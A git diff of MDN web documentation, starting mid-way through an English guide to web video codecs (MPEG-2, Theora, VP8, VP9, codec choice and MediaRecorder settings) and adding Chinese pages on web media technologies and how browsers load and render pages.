FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-2 supportNoNoNoNoNoYes
-
Container supportMPEG, MPEG-TS (MPEG Transport Stream), MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://www.itu.int/rec/T-REC-H.262
- https://www.iso.org/standard/61152.html
LicensingProprietary; all patents have expired worldwide with the exception of in Malaysia and the Philippines as of April 1, 2019, so MPEG-2 can be used freely outside those two countries. Patents are licensed by MPEG LA.
- -

Theora

- -

{{interwiki("wikipedia", "Theora")}}, developed by Xiph.org, is an open and free video codec which may be used without royalties  or licensing. Theora is comparable in quality and compression rates to MPEG-4 Part 2 Visual and AVC, making it a very good if not top-of-the-line choice for video encoding. But its status as being free from any licensing concerns and its relatively low CPU resource requirements make it a popular choice for many software and web projects. The low CPU impact is particularly useful since there are no hardware decoders available for Theora.

- -

Theora was originally based upon the VC3 codec by On2 Technologies. The codec and its specification were released under the LGPL license and entrusted to Xiph.org, which then developed it into the Theora standard.

- -

One drawback to Theora is that it only supports 8 bits per color component, with no option to use 10 or more in order to avoid color banding. That said, 8 bits per component is still the most commonly-used color format in use today, so this is only a minor inconvenience in most cases. Also, Theora can only be used in an Ogg container. The biggest drawback of all, however, is that it is not supported by Safari, leaving Theora unavailable not only on macOS but on all those millions and millions of iPhones and iPads.

- -

The Theora Cookbook offers additional details about Theora as well as the Ogg container format it is used within.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesUp to 2 Gbps
Supported frame ratesArbitrary; any non-zero value is supported. The frame rate is specified as a 32-bit numerator and a 32-bit denominator, to allow for non-integer frame rates.
CompressionLossy DCT-based algorithm
Supported frame sizesAny combination of width and height up to 1,048,560 x 1,048,560 pixels
Supported color modesY'CbCr with 4:2:0, 4:2:2, and 4:4:4 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes[1]
Browser compatibility - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Theora support3Yes[2]3.5No10.5No
-
Container supportOgg
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationXiph.org
Specificationhttps://www.theora.org/doc/
LicensingOpen and free of royalties and any other licensing requirements
- -

[1] While Theora doesn't support Variable Frame Rate (VFR) within a single stream, multiple streams can be chained together within a single file, and each of those can have its own frame rate, thus allowing what is essentially VFR. However, this is impractical if the frame rate needs to change frequently.

- -

[2] Edge supports Theora with the optional Web Media Extensions add-on.

- -

VP8

- -

The Video Processor 8 (VP8) codec was initially created by On2 Technologies. Following their purchase of On2, Google released VP8 as an open and royalty-free video format under a promise not to enforce the relevant patents. In terms of quality and compression rate, VP8 is comparable to {{anch("AVC")}}.

- -

If supported by the browser, VP8 allows video with an alpha channel, allowing the video to play with the background able to be seen through the video to a degree specified by each pixel's alpha component.

- -

There is good browser support for VP8 in HTML content, especially within WebM files. This makes VP8 a good candidate for your content, although VP9 is an even better choice if available to you. Web browsers are required to support VP8 for WebRTC, but not all browsers that do so also support it in HTML audio and video elements.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 16,384 x 16,384 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP8 support2514[1]491612.1[2]
MSE compatibilityYes3
-
Container support3GP, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes; VP8 is one of the spec-required codecs for WebRTC
Supporting/Maintaining organizationGoogle
Specification{{RFC(6386)}}
LicensingOpen and free of royalties and any other licensing requirements
- -

[1] Edge support for VP8 requires the use of Media Source Extensions.

- -

[2] Safari only supports VP8 in WebRTC connections.

- -

[3] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

- -

VP9

- -

Video Processor 9 (VP9) is the successor to the older VP8 standard developed by Google. Like VP8, VP9 is entirely open and royalty-free. Its encoding and decoding performance is comparable to or slightly faster than that of AVC, but with better quality. VP9's encoded video quality is comparable to that of HEVC at similar bit rates.

- -

VP9's main profile supports only 8-bit color depth at 4:2:0 chroma subsampling levels, but its profiles include support for deeper color and the full range of chroma subsampling modes. It supports several HDR imiplementations, and offers substantial freedom in selecting frame rates, aspect ratios, and frame sizes.

- -

VP9 is widely supported by browsers, and hardware implementations of the codec are fairly common. VP9 is one of the two video codecs mandated by WebM (the other being {{anch("VP8")}}). Of note, however, is that Safari supports neither WebM nor VP9, so if you choose to use VP9, be sure to offer a fallback format such as AVC or HEVC for iPhone, iPad, and Mac users.

- -

Aside from the lack of Safari support, VP9 is a good choice if you are able to use a WebM container and are able to provide a fallback video in a format such as AVC or HEVC for Safari users. This is especially true if you wish to use an open codec rather than a proprietary one. If you can't provide a fallback and aren't willing to sacrifice Safari compatibility, VP9 in WebM is a good option. Otherwise, you should probably consider a different codec.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 65,536 x 65,536 pixels
Supported color modes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ProfileColor depthsChroma subsampling
Profile 084:2:0
Profile 184:2:0, 4:2:2, and 4:4:4
Profile 210 to 124:2:0
Profile 310 to 124:2:0, 4:2:2, and f:4:4
- -

Color spaces supported: {{interwiki("wikipedia", "Rec. 601")}}, {{interwiki("wikipedia", "Rec. 709")}}, {{interwiki("wikipedia", "Rec. 2020")}}, {{interwiki("wikipedia", "SMPTE C")}}, SMPTE-240M (obsolete; replaced by Rec. 709), and {{interwiki("wikipedia", "sRGB")}}.

-
HDR supportYes; HDR10+, HLG, and PQ
Variable Frame Rate (VFR) supportYes
Browser compatibility - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP9 support291428No10.6No
MSE compatibilityYes1
-
Container supportMP4, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationGoogle
Specificationhttps://www.webmproject.org/vp9/
LicensingOpen and free of royalties and any other licensing requirements
- -

[1] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

- -

Choosing a video codec

- -

The decision as to which codec or codecs to use begins with a series of questions to prepare yourself:

- -
    -
  • Do you wish to use an open format, or are proprietary formats also to be considered?
  • -
  • Do you have the resources to produce more than one format for each of your videos? The ability to provide a fallback option vastly simplifies the decision-making process.
  • -
  • Are there any browsers you're willing to sacrifice compatibility with?
  • -
  • How old is the oldest version of web browser you need to support? For example, do you need to work on every browser shipped in the past five yeras, or just the past one year?
  • -
- -

In the sections below, we offer recommended codec selections for specific use cases. For each use case, you'll find up to two reccommendations. If the codec which is considered best for the use case is proprietary or may require royalty payments, then two options are provided: first, an open and royalty-free option, followed by the proprietary one.

- -

If you are only able to offer a single version of each video, you can choose the format that's most appropriate for your needs.The first one is recommended as being a good combnination of quality, performance, and compatibility. The second option will be the most broadly compatible choice, at the expense of some amount of quality, preformance, and/or size.

- -

Recommendations for everyday videos

- -

First, let's look at the best options for videos presented on a typical web site such as a blog, informational site, small business web site where videos are used to demonstrate products (but not where the videos themselves are a product), and so forth.

- -
    -
  1. -

    A WebM container using the {{anch("VP8")}} codec for video and the Opus codec for audio. These are all open, royalty-free formats which are generally well-supported, although only in quite recent browsers, which is why a fallback is a good idea.

    - -
    <video controls src="filename.webm"></video>
    -
    -
  2. -
  3. -

    An MP4 container and the {{anch("AVC")}} (H.264) video codec, ideally with AAC as your audio codec. This is because the MP4 container with AVC and AAC codecs within is a broadly-supported combination—by every major browser, in fact—and the quality is typically good for most use cases. Make sure you verify your compliance with the license requirements, however.

    - -
    <video controls>
    -  <source type="video/webm"
    -          src="filename.webm">
    -  <source type="video/mp4"
    -          src="filename.mp4">
    -</video>
    -
    -
  4. -
- -
-

Note: Keep in mind that the {{HTMLElement("<video>")}} element requires a closing </video> tag, whether or not you have any {{HTMLElement("source")}} elements inside it.

-
- -

Recommendations for high-quality video presentation

- -

If your mission is to present video at the highest possible quality, you will probably benefit from offering as many formats as possible, as the codecs capable of the best quality tend also to be the newest, and thus the most likely to have gaps in browser compatibility.

- -
    -
  1. -

    A WebM container using AV1 for video and Opus for audio. If you're able to use the High or Professional profile when encoding AV1, at a high level like 6.3, you can get very high bit rates at 4K or 8K resolution, while maintaining excellent video quality. Encoding your audio using Opus's Fullband profile at a 48 kHz sample rate maximizes the audio bandwidth captured, capturing nearly the entire frequency range that's within human hearing.

    - -
    <video controls src="filename.webm"></video>
    -
    -
  2. -
  3. -

    An MP4 container using the {{anch("HEVC")}} codec using one of the advanced Main profiles, such as Main 4:2:2 with 10 or 12 bits of color depth, or even the Main 4:4:4 profile at up to 16 bits per component. At a high bit rate, this provides excellent graphics quality with remarkable color reproduction.  In addition, you can optionally include HDR metadata to provide high dynamic range video. For audio, use the AAC codec at a high sample rate (at least 48 kHz but ideally 96kHz) and encoded with complex encoding rather than fast encoding.

    - -
    <video controls>
    -  <source type="video/webm"
    -          src="filename.webm">
    -  <source type="video/mp4"
    -          src="filename.mp4">
    -</video>
    -
    -
  4. -
- -

Recommendations for archival, editing, or remixing

- -

There are not currently any lossless—or even near-lossless—video codecs generally available in web browsers. The reason for this is simple: video is huge. Lossless compression is by definition less effective than lossy compression. For example, uncompressed 1080p video (1920 by 1080 pixels) with 4:2:0 chroma subsampling needs at least 1.5 Gbps. Using lossless compression such as FFV1 (which is not supported by web browsers) could perhaps reduce that to somewhere around 600 Mbps, depending on the content. That's still a huge number of bits to pump through a connection every second, and is not currently practical for any real-world use.

- -

This is the case even though some of the lossy codecs have a lossless mode available; the lossless modes are not implemented in any current web browsers. The best you can do is to select a high-quality codec that uses lossy compression and configure it to perform as little compression as possible. One way to do this is to configure the codec to use "fast" compression, which inherently means less compression is achieved.

- -

Preparing video externally

- -

To prepare video for archival purposes from outside your web site or app, use a utility that performs compression on the original uncompressed video data. For example, the free x264 utility can be used to encode video in {{anch("AVC")}} format using a very high bit rate:

- -
x264 --crf 18 -preset ultrafast --output outfilename.mp4 infile
- -

While other codecs may have better best-case quality levels when compressing the video by a significant margin, their encoders tend to be slow enough that the nearly-lossless encoding you get with this compression is vastly faster at about the same overall quality level.

- -

Recording video

- -

Given the constraints on how close to lossless you can get, you might consider using {{anch("AVC")}} or {{anch("AV1")}}. For example, if you're using the MediaStream Recording API to record video, you might use code like the following when creating your {{domxref("MediaRecorder")}} object:

- -
const kbps = 1024;
-const Mbps = kbps*kbps;
-
-const options = {
-  mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
-  bitsPerSecond: 800*Mbps,
-};
-
-let recorder = new MediaRecorder(sourceStream, options);
- -

This example creates a MediaRecorder configured to record {{anch("AV1")}} video using BT.2100 HDR in 12-bit color with 4:4:4 chroma subsampling and FLAC for lossless audio. The resulting file will use a bit rate of no more than 800 Mbps shared between the video and audio tracks. You will likely need to adjust these values depending on hardware performance, your requirements, and the specific codecs you choose to use. This bit rate is obviously not realistic for network transmission and would likely only be used locally.

- -

Breaking down the value of the codecs parameter into its dot-delineated properties, we see the following:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueDesccription
av01The four-character code (4CC) designation identifying the {{anch("AV1")}} codec.
2The profile. A value of 2 indicates the Professional profile. A value of 1 is the High profile, while a value of 0 would specify the Main profile.
19HThe level and tier. This value comes from the table in section A.3 of the AV1 specification, and indicates the high tier of Level 6.3.
12The color depth. This indicates 12 bits per component. Other possible values are 8 and 10, but 12 is the highest-accuracy color representation available in AV1.
0The monochrome mode flag. If 1, then no chroma planes would be recorded, and all data should be structly luma data, resulting in a greyscale image. We've specified 0 because we want color.
000The chroma subsampling mode, taken from section 6.4.2 in the AV1 specification. A value of 000, combined with the monochrome mode value 0, indicates that we want 4:4:4 chroma subsampling, or no loss of color data.
09The color primaries to use. This value comes from section 6.4.2 in the AV1 specification; 9 indicates that we want to use BT.2020 color, which is used for HDR.
16The transfer characteristics to use. This comes from section 6.4.2 as well; 16 indicates that we want to use the characteristics for BT.2100 PQ color.
09The matrix coefficents to use, from the section 6.4.2 again. A value of 9 specifies that we want to use BT.2020 with variable luminance; this is also known as BT.2010 YbCbCr.
1The video "full range" flag. A value of 1 indicates that we want the full color range to be used.
- -

The documentation for your codec choices will probably offer information you'll use when constructing your codecs parameter.

- -

See also

- - diff --git a/files/zh-cn/web/media/index.html b/files/zh-cn/web/media/index.html new file mode 100644 index 0000000000..5a66bbe303 --- /dev/null +++ b/files/zh-cn/web/media/index.html @@ -0,0 +1,76 @@ +--- +title: Web 媒体技术 +slug: Web/媒体 +tags: + - 视频 + - 音频 +translation_of: Web/Media +--- +
+ +

逐年来,Web 呈现、创建并管理音频、视频和其他媒体的能力以不断增长的步伐发展。今日有着大量的 API、HTML 元素、DOM 界面和其他不仅仅限于完成这些任务,而是为了将媒体和其他技术联合使用以实现非凡事物的特性可供使用。这篇文章列出了可能对您掌握这些技术有帮助的多种 API 与其文档链接。

+ +
+
+

参考文献

+ +

HTML

+ +

这些文章含括了供媒体开发者使用的 HTML 特性。

+ +
+
{{HTMLElement("audio")}}
+
<audio> 元素用于在 Web 上下文中播放音频。这可以用于复杂媒体的隐性目标,亦或是用户控制播放音频的可见控制。可以从 JavaScript {{domxref("HTMLAudioElement")}} 对象中访问。
+
{{HTMLElement("video")}}
+
<video> 元素是 Web 上下文中视频内容的端点。其可以简单地用于呈现视频,亦或是流式视频的目标。<video> 也可以用于连接媒体 API 和其他 HTML 与 DOM 技术,比如 {{HTMLElement("canvas")}} (用于抓取并控制框中内容),例如,可以通过 JavaScript {{domxref("HTMLVideoElement")}} 对象访问。
+
{{HTMLElement("track")}}
+
<track> 元素可以被放置在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,当在媒体播放时,以提供 WebVTT 格式化字幕或标题轨道的参考。可以通过 JavaScript {{domxref("HTMLTrackElement")}} 对象访问。
+
{{HTMLElement("source")}}
+
<source> 元素可以放在 {{HTMLElement("audio")}} 或者 {{HTMLElement("video")}} 元素内部,以指定当前显示的源媒体。可以使用多个不同格式、大小、分辨率的媒体源。可以从通过 JavaScript {{domxref("HTMLSourceElement")}} 对象中访问。
+
+ +

API

+ +
+
媒体捕获和流媒体 API
+
使得串流、播放和控制本地和网络媒体成为可能的 API 参考文献。包括使用本地摄像头与麦克风来抓取视频、音频和静止图片。
+
网络音频 API
+
网络音频 API 允许您生成、过滤并调节实时与预录的音频材料,并将其发送至 <audio> 元素、媒体流或磁盘中。
+
WebRTC
+
WebRTC (网页即时通信) 可以使互联网上任意两位用户在无需媒介的情况下中串流实时音频、视频和任意数据。
+
+
+ +
+

指南

+ +
+
Web 上的媒体技术概览
+
概览提供音频、视频播放与录制的开放网络技术和 API。若您不了解该使用哪种 API,这就是您的开始。
+
Web 设计中的媒体无障碍指南
+
在本指南中,我们将介绍 web 设计人员和开发人员创建的内容能让具有不同能力的人可以访问的方法。这个范围包括从 {{HTMLElement("image")}} 元素上简单地使用 {{htmlattrxref("alt", "img")}} 属性到为屏幕阅读者提供字幕标记的媒体。
+
Web 媒体类型和格式指南
+
关于文件类型和编解码器对于 web 上的图像、音频和视频媒体有效的指南。这包括使用何种格式处理什么内容的建议、最佳实践,以及如何提供后备方案和如何对媒体类型进行优先排序,还包括针对每个媒体容器和编解码器的一般浏览器支持信息。
+
媒体和 Web 音频 APIs 自动播放指南
+
出乎意料的自动播放媒体或音频对用户来说可能是一个不受欢迎的惊喜。虽然自动播放是有目的的,但应该谨慎使用。为了让用户控制这一点,许多浏览器现在都提供了自动播放阻塞的形式。本文是关于自动播放的指南,提供了一些技巧,告诉您何时以及如何使用它,以及如何使用浏览器优雅地处理自动播放阻塞。
+
+ +
+
+ +

其他主题

+ +

您可能会感兴趣的相关主题,这些技术可以用有趣的方式与媒体 API 共同使用。

+ +
+
Canvas API
+
Canvas API 允许您在 {{HTMLElement("canvas")}} 上绘画、操纵并改变图像内容。这样可以与媒体以多种方式使用,包括设置 <canvas> 元素作为视频播放或摄像头捕获的终点以捕获或操纵视频帧。
+
WebGL
+
WebGL 在已存在的 Canvas API 上提供了与 OpenGL ES 兼容的 API,使得在 Web 上制作强大的 3D 图像成为可能。通过一张画布,这可以用于为媒体内容添加 3D 图像。
+
WebVR
+
Web Virtual Reality API 支持虚拟现实 (VR) 设备,如 Oculus Rift 或 HTC Vive,使开发人员能够将用户的位置和移动转换为 3D 场景中的移动,然后在设备上显示。WebVR 有望逐渐被 WebXR 所取代,后者涵盖了更广泛的用例。
+
WebXR
+
WebXR 旨在最终取代 WebVR,是一种支持创建虚拟现实 (VR) 和增强现实 (AR) 内容的技术。混合现实内容可以显示在设备的屏幕上,或者是显示在目镜或耳机内。
+
+
+
diff --git a/files/zh-cn/web/performance/how_browsers_work/index.html b/files/zh-cn/web/performance/how_browsers_work/index.html new file mode 100644 index 0000000000..71e4bce57e --- /dev/null +++ b/files/zh-cn/web/performance/how_browsers_work/index.html @@ -0,0 +1,204 @@ +--- +title: 渲染页面:浏览器的工作原理 +slug: Web/Performance/浏览器渲染页面的工作原理 +translation_of: Web/Performance/How_browsers_work +--- +

页面内容快速加载和流畅的交互是用户希望得到的Web体验,因此,开发者应力争实现这两个目标。

+ +

了解如何提升性能和感知性能,有助于了解浏览器的工作原理。

+ +

概述

+ +

快速响应的网站提供更好的用户体验。用户期待内容快速加载和交互流畅的Web体验

+ +

等待资源加载时间和大部分情况下的浏览器单线程执行是影响Web性能的两大主要原因。

+ +

等待时间是需要去克服来让浏览器快速加载资源的主要威胁. 为了实现快速加载,开发者的目标就是尽可能快的发送请求的信息,至少看起来相当快。网络等待时间是在链路上传送二进制到电脑端所消耗的链路传输时间。 Web性能优化需要做的就是尽可能快的使页面加载完成。

+ +

大部分情况下,浏览器是单线程执行的。为了有流畅的交互 ,开发者的目标是确保网站从流畅的页面滚动到点击响应的交互性能。渲染时间是关键要素,确保主线程可以完成所有给它的任务并且仍然一直可以处理用户的交互。通过了解浏览器单线程的本质与最小化主线程的责任可以优化Web性能,来确保渲染的流畅和交互响应的及时。

+ +

导航

+ +

导航是加载web页面的第一步。它发生在以下情形:用户通过在地址栏输入一个URL、点击一个链接、提交表单或者是其他的行为

+ +

web性能优化的目标之一就是缩短导航完成所花费的时间,在理想情况下,它通常不会花费太多的时间,但是等待时间和带宽会导致它的延时。

+ +

DNS 查找

+ +

对于一个web页面来说导航的第一步是要去寻找页面资源的位置。如果导航到https://example.com, HTML页面 被定为到IP地址为 93.184.216.34 的服务器。如果以前没有访问过这个网站,就需要进行DNS查找。

+ +

浏览器通过服务器名称请求DNS进行查找,最终返回一个IP地址,第一次初始化请求之后,这个IP地址可能会被缓存一段时间,这样可以通过从缓存里面检索IP地址而不是再通过域名服务器进行查找来加速后续的请求

+ +

通过主机名加载一个页面通常仅需要DNS查找一次.。但是, DNS需要对不同的页面指向的主机名进行查找。如果fonts, images, scripts, ads, and metrics 都不同的主机名,DNS会对每一个进行查找。

+ +

Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet

+ +

DNS查找对于性能来说是一个问题,特别是对于移动网络。当一个用户用的是移动网络,每一个DNS查找必须从手机发送到信号塔,然后到达一个认证DNS服务器。手机、信号塔、域名服务器之间的距离可能是一个大的时间等待。

+ +

TCP Handshake

+ +

一旦获取到服务器IP地址,浏览器就会通过TCP”三次握手“与服务器建立连接。这个机制的是用来让两端尝试进行通信—浏览器和服务器在发送数据之前,通过上层协议Https可以协商网络TCP套接字连接的一些参数。

+ +

TCP的”三次握手“技术经常被称为”SYN-SYN-ACK“—更确切的说是 SYN, SYN-ACK, ACK—因为通过TCP首先发送了三个消息进行协商,开始一个TCP会话在两台电脑之间。 是的,这意味着每台服务器之间还要来回发送三条消息,而请求尚未发出。

+ +

TLS 协商

+ +

为了在HTTPS上建立安全连接,另一种握手是必须的。更确切的说是TLS协商 ,它决定了什么密码将会被用来加密通信,验证服务器,在进行真实的数据传输之前建立安全连接。在发送真正的请求内容之前还需要三次往返服务器。

+ +

The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client.

+ +

虽然建立安全连接对增加了加载页面的等待时间,对于建立一个安全的连接来说,以增加等待时间为代价是值得的,因为在浏览器和web服务器之间传输的数据不可以被第三方解密。

+ +

经过8次往返,浏览器终于可以发出请求。

+ +

响应

+ +

一旦我们建立了到web服务器的连接,浏览器就代表用户发送一个初始的HTTP GET请求,对于网站来说,这个请求通常是一个HTML文件。 一旦服务器收到请求,它将使用相关的响应头和HTML的内容进行回复。

+ +
<!doctype HTML>
+<html>
+ <head>
+  <meta charset="UTF-8"/>
+  <title>My simple page</title>
+  <link rel="stylesheet" src="styles.css"/>
+  <script src="myscript.js"></script>
+</head>
+<body>
+  <h1 class="heading">My Page</h1>
+  <p>A paragraph with a <a href="https://example.com/about">link</a></p>
+  <div>
+    <img src="myimage.jpg" alt="image description"/>
+  </div>
+  <script src="anotherscript.js"></script>
+</body>
+</html>
+ +

初始请求的响应包含所接收数据的第一个字节。”Time to First Byte“ (TTFB)是用户通过点击链接进行请求与收到第一个HTML包之间的时间。第一块内容通常是14kb的数据。

+ +

上面的例子中,这个请求肯定是小于14kb的,但是直到浏览器在解析阶段遇到链接时才会去请求链接的资源,下面有进行描述。

+ +

TCP 慢开始 / 14kb 规则

+ +

第一个响应包是14kb大小。这是慢开始的一部分,慢开始是一种均衡网络连接速度的算法。慢开始逐渐增加发送数据的数量直到达到网络的最大带宽。

+ +

在"TCP slow start"中,在收到初始包之后, 服务器会将下一个包的大小加倍到大约28kb。 后续的包依次是前一个包大小的二倍直到达到预定的阈值,或者遇到拥塞。

+ +

TCP slow start

+ +

如果您听说过初始页面加载的14Kb规则,TCP慢开始就是初始响应为14Kb的原因,也是为什么web性能优化需要将此初始14Kb响应作为优化重点的原因。TCP慢开始逐渐建立适合网络能力的传输速度,以避免拥塞。

+ +

拥塞控制

+ +

当服务器用TCP包来发送数据时,客户端通过返回确认帧来确认传输。由于硬件和网络条件,连接的容量是有限的。 如果服务器太快地发送太多的包,它们可能会被丢弃。意味着,将不会有确认帧的返回。服务器把它们当做确认帧丢失。拥塞控制算法使用这个发送包和确认帧流来确定发送速率。

+ +

解析

+ +

一旦浏览器收到数据的第一块,它就可以开始解析收到的信息。“推测性解析”,“解析”是浏览器将通过网络接收的数据转换为DOM和CSSOM的步骤,通过渲染器把DOM和CSSOM在屏幕上绘制成页面。

+ +

DOM是浏览器标记的内部表示。DOM也是被暴露的,可以通过JavaScript中的各种API进行DOM操作。

+ +

即使请求页面的HTML大于初始的14KB数据包,浏览器也将开始解析并尝试根据其拥有的数据进行渲染。这就是为什么在前14Kb中包含浏览器开始渲染页面所需的所有内容,或者至少包含页面模板(第一次渲染所需的CSS和HTML)对于web性能优化来说是重要的。但是在渲染到屏幕上面之前,HTML、CSS、JavaScript必须被解析完成。

+ +

构建DOM树

+ +

我们描述五个步骤在这篇文章中 critical rendering path.

+ +

第一步是处理HTML标记并构造DOM树。HTML解析涉及到 tokenization 和树的构造。HTML标记包括开始和结束标记,以及属性名和值。 如果文档格式良好,则解析它会简单而快速。解析器将标记化的输入解析到文档中,构建文档树。

+ +

DOM树描述了文档的内容。<html>元素是第一个标签也是文档树的根节点。树反映了不同标记之间的关系和层次结构。嵌套在其他标记中的标记是子节点。DOM节点的数量越多,构建DOM树所需的时间就越长。

+ +

The DOM tree for our sample code, showing all the nodes, including text nodes.

+ +

当解析器发现非阻塞资源,例如一张图片,浏览器会请求这些资源并且继续解析。当遇到一个CSS文件时,解析也可以继续进行,但是对于<script>标签(特别是没有 async 或者 defer 属性)会阻塞渲染并停止HTML的解析。尽管浏览器的预加载扫描器加速了这个过程,但过多的脚本仍然是一个重要的瓶颈。

+ +

预加载扫描器

+ +

浏览器构建DOM树时,这个过程占用了主线程。当这种情况发生时,预加载扫描仪将解析可用的内容并请求高优先级资源,如CSS、JavaScript和web字体。多亏了预加载扫描器,我们不必等到解析器找到对外部资源的引用来请求它。它将在后台检索资源,以便在主HTML解析器到达请求的资源时,它们可能已经在运行,或者已经被下载。预加载扫描仪提供的优化减少了阻塞。

+ +
<link rel="stylesheet" src="styles.css"/>
+<script src="myscript.js" async></script>
+<img src="myimage.jpg" alt="image description"/>
+<script src="anotherscript.js" async></script>
+
+ +

在这个例子中,当主线程在解析HTML和CSS时,预加载扫描器将找到脚本和图像,并开始下载它们。为了确保脚本不会阻塞进程,当JavaScript解析和执行顺序不重要时,可以添加async属性或defer属性。

+ +

等待获取CSS不会阻塞HTML的解析或者下载,但是它的确阻塞JavaScript,因为JavaScript经常用于查询元素的CSS属性。

+ +

构建CSSOM树

+ +

第二步是处理CSS并构建CSSOM树。CSS对象模型和DOM是相似的。DOM和CSSOM是两棵树. 它们是独立的数据结构。浏览器将CSS规则转换为可以理解和使用的样式映射。浏览器遍历CSS中的每个规则集,根据CSS选择器创建具有父、子和兄弟关系的节点树。

+ +

与HTML一样,浏览器需要将接收到的CSS规则转换为可以使用的内容。因此,它重复了HTML到对象的过程,但对于CSS。

+ +

CSSOM树包括来自用户代理样式表的样式。浏览器从适用于节点的最通用规则开始,并通过应用更具体的规则递归地优化计算的样式。换句话说,它级联属性值。

+ +

构建CSSOM非常非常快,并且在当前的开发工具中没有以独特的颜色显示。相反,开发人员工具中的“重新计算样式”显示解析CSS、构造CSSOM树和递归计算计算样式所需的总时间。在web性能优化方面,它是可轻易实现的,因为创建CSSOM的总时间通常小于一次DNS查找所需的时间。

+ +

其他过程

+ +

JavaScript 编译

+ +

当CSS被解析并创建CSSOM时,其他资源,包括JavaScript文件正在下载(多亏了preload scanner)。JavaScript被解释、编译、解析和执行。脚本被解析为抽象语法树。一些浏览器引擎使用”Abstract Syntax Tree“并将其传递到解释器中,输出在主线程上执行的字节码。这就是所谓的JavaScript编译。

+ +

构建辅助功能树

+ +

浏览器还构建辅助设备用于分析和解释内容的辅助功能(accessibility )树。可访问性对象模型(AOM)类似于DOM的语义版本。当DOM更新时,浏览器会更新辅助功能树。辅助技术本身无法修改可访问性树。

+ +

在构建AOM之前,屏幕阅读器(screen readers)无法访问内容。

+ +

渲染

+ +

渲染步骤包括样式、布局、绘制,在某些情况下还包括合成。在解析步骤中创建的CSSOM树和DOM树组合成一个Render树,然后用于计算每个可见元素的布局,然后将其绘制到屏幕上。在某些情况下,可以将内容提升到它们自己的层并进行合成,通过在GPU而不是CPU上绘制屏幕的一部分来提高性能,从而释放主线程。

+ +

Style

+ +

第三步是将DOM和CSSOM组合成一个Render树,计算样式树或渲染树从DOM树的根开始构建,遍历每个可见节点。

+ +

像<head>和它的子节点以及任何具有display: none样式的结点,例如script { display: none; }(在user agent stylesheets可以看到这个样式)这些标签将不会显示,也就是它们不会出现在Render树上。具有visibility: hidden的节点会出现在Render树上,因为它们会占用空间。由于我们没有给出任何指令来覆盖用户代理默认值,因此上面代码示例中的script节点将不会包含在Render树中。

+ +

每个可见节点都应用了其CSSOM规则。Render树保存所有具有内容和计算样式的可见节点——将所有相关样式匹配到DOM树中的每个可见节点,并根据CSS级联确定每个节点的计算样式。

+ +

Layout

+ +

第四步是在渲染树上运行布局以计算每个节点的几何体。布局是确定呈现树中所有节点的宽度、高度和位置,以及确定页面上每个对象的大小和位置的过程。回流是对页面的任何部分或整个文档的任何后续大小和位置的确定。

+ +

构建渲染树后,开始布局。渲染树标识显示哪些节点(即使不可见)及其计算样式,但不标识每个节点的尺寸或位置。为了确定每个对象的确切大小和位置,浏览器从渲染树的根开始遍历它。

+ +

在网页上,大多数东西都是一个盒子。不同的设备和不同的桌面意味着无限数量的不同的视区大小。在此阶段,考虑到视区大小,浏览器将确定屏幕上所有不同框的尺寸。以视区的大小为基础,布局通常从body开始,用每个元素的框模型属性排列所有body的子孙元素的尺寸,为不知道其尺寸的替换元素(例如图像)提供占位符空间。

+ +

第一次确定节点的大小和位置称为布局。随后对节点大小和位置的重新计算称为回流。在我们的示例中,假设初始布局发生在返回图像之前。由于我们没有声明图像的大小,因此一旦知道图像大小,就会有回流。

+ +

Paint

+ +

最后一步是将各个节点绘制到屏幕上,第一次出现的节点称为first meaningful paint。在绘制或光栅化阶段,浏览器将在布局阶段计算的每个框转换为屏幕上的实际像素。绘画包括将元素的每个可视部分绘制到屏幕上,包括文本、颜色、边框、阴影和替换的元素(如按钮和图像)。浏览器需要非常快地完成这项工作。

+ +

为了确保平滑滚动和动画,占据主线程的所有内容,包括计算样式,以及回流和绘制,必须让浏览器在16.67毫秒内完成。在2048x 1536,iPad有超过314.5万像素将被绘制到屏幕上。那是很多像素需要快速绘制。为了确保重绘的速度比初始绘制的速度更快,屏幕上的绘图通常被分解成数层。如果发生这种情况,则需要进行合成。

+ +

